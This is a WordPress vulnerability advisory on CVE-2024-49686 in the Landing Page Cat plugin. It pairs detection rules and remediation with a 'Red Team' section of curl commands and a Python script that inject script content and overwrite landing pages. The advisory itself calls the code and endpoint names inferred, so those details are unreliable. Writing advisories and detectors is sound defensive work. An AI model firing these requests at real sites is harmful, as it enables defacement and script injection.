CVE-2024-49686

Executive Summary

CVE-2024-49686 is a Missing Authorization vulnerability (CWE-862) in the WordPress plugin Landing Page Cat by fatcatapps, affecting versions up to and including 1.7.4. This flaw allows unauthenticated attackers to bypass authorization checks, potentially leading to unauthorized access to sensitive landing page data or configuration changes. The vulnerability is classified as Medium severity with a CVSS score of 5.4, and no public proof-of-concept (PoC) or patch is currently available. Given the plugin's role in managing landing pages, exploitation could result in data leakage or defacement of WordPress sites.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As a supply chain risk, site administrators must verify the integrity of the plugin files and monitor for updates. Since no patch exists, users should consider disabling or removing the plugin until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – vulnerability affects only the plugin.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited modification capability.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. The lack of authentication requirements and low complexity make this a viable target for automated scanning and exploitation, especially in WordPress environments with the plugin active.

Deep Dive & Mechanics

The vulnerability resides in the Landing Page Cat plugin's authorization checks. The plugin likely exposes REST API endpoints or AJAX actions that fail to verify user capabilities before processing requests. Specifically, functions handling landing page creation, editing, or retrieval do not enforce current_user_can() checks, allowing unauthenticated users to invoke these actions.

Root Cause: Missing capability checks in functions hooked to WordPress AJAX or REST API endpoints. For example, a function like lpc_save_landing_page() may be registered via wp_ajax_nopriv_* or rest_api_init without verifying the user's role.

Attack Scenario:

1. An attacker identifies a WordPress site using Landing Page Cat <= 1.7.4.
2. They send a crafted HTTP request to an AJAX endpoint (e.g., /wp-admin/admin-ajax.php?action=lpc_get_landing_pages).
3. The plugin returns sensitive data (e.g., landing page configurations, user data) without authentication.
4. Alternatively, the attacker could modify landing page content, leading to defacement or phishing.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code pattern is inferred. A typical vulnerable implementation might look like:

Vulnerable Code (PHP):

add_action('wp_ajax_nopriv_lpc_save_page', 'lpc_save_page');
function lpc_save_page() {
    // No capability check
    $page_data = $_POST['page_data'];
    update_option('lpc_page_' . $page_data['id'], $page_data);
    wp_send_json_success();
}

Patched Code (Hypothetical):

add_action('wp_ajax_lpc_save_page', 'lpc_save_page');
function lpc_save_page() {
    if (!current_user_can('edit_posts')) {
        wp_die('Unauthorized', 403);
    }
    $page_data = $_POST['page_data'];
    update_option('lpc_page_' . $page_data['id'], $page_data);
    wp_send_json_success();
}

The patch would require adding current_user_can() checks and removing nopriv hooks to restrict access to authenticated users with appropriate roles.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Landing Page Cat <= 1.7.4 active.
• No authentication required.

Exploitation Steps:

1. Enumerate the vulnerable endpoint:

   curl -s "http://target/wp-admin/admin-ajax.php?action=lpc_get_pages"
   

2. If the endpoint returns data without authentication, extract landing page IDs.
3. Modify a landing page:

   curl -X POST "http://target/wp-admin/admin-ajax.php?action=lpc_save_page" \
     -d "page_id=1&content=<script>alert('XSS')</script>"
   

4. Verify the defacement by visiting the landing page URL.

Automated Exploit (Python):

import requests

target = "http://target"
ajax_url = f"{target}/wp-admin/admin-ajax.php"

# List pages
r = requests.get(ajax_url, params={"action": "lpc_get_pages"})
if r.status_code == 200:
    pages = r.json()
    for page in pages:
        print(f"Page ID: {page['id']} - {page['title']}")

# Modify page
payload = {"action": "lpc_save_page", "page_id": "1", "content": "Hacked"}
r = requests.post(ajax_url, data=payload)
print(r.text)

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with actions prefixed lpc_ from unauthenticated sources.
• Look for HTTP 200 responses to lpc_* actions without a valid wpnonce or session cookie.

Defense:

• Immediately disable the plugin if no patch is available.
• Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=lpc_* from unauthenticated IPs.
• Use a WordPress security plugin to enforce authentication on AJAX endpoints.

WAF Rule (ModSecurity):

SecRule REQUEST_FILENAME "/wp-admin/admin-ajax\.php" \
  "chain,id:1001,deny,status:403"
SecRule ARGS:action "^lpc_" \
  "chain"
SecRule &ARGS:wpnonce "0"

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-admin/admin-ajax.php with action=lpc_* parameters from unauthenticated sources.
  • Unusual POST data containing page_id and content fields without a valid nonce.

• File IOCs:

  • Modified options in the wp_options table with keys like lpc_page_*.
  • Unexpected landing page content changes.

• Log IOCs:

  • WordPress debug log entries showing lpc_* actions triggered by anonymous users.
  • Web server access logs with 200 responses to admin-ajax.php with action=lpc_* and no wpnonce.

Detection Engineering

YARA Rule

rule CVE_2024_49686_WordPress_Landing_Page_Cat {
    meta:
        description = "Detects vulnerable Landing Page Cat plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-49686"
    strings:
        $vuln_func = "wp_ajax_nopriv_lpc_" nocase
        $vuln_hook = "add_action('wp_ajax_nopriv_lpc_" nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-49686 - Missing Authorization in Landing Page Cat
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated AJAX requests to Landing Page Cat endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains|all:
            - 'action=lpc_'
            - 'page_id='
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-49686 - Unauthenticated Landing Page Cat AJAX Request";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=lpc_"; http_client_body;
    content:"page_id="; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-49686;
    classtype:attempted-recon;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and delete Landing Page Cat until a patch is released.
2. Audit for compromise – Check for unauthorized changes to landing pages and review server logs for suspicious AJAX requests.
3. Apply virtual patching – Use a WAF to block unauthenticated requests to lpc_* AJAX actions.

Long-term Fix:

• The vendor must release a patched version (>= 1.7.5) that adds proper capability checks using current_user_can() and removes nopriv hooks.
• Users should update the plugin as soon as a patch is available.

Workaround:

• If the plugin is critical, restrict access to admin-ajax.php via .htaccess:

  <Files "admin-ajax.php">
      Require all denied
  </Files>
  

  Then whitelist only necessary authenticated actions.

Valters IT
Securing WordPress Ecosystems – One CVE at a Time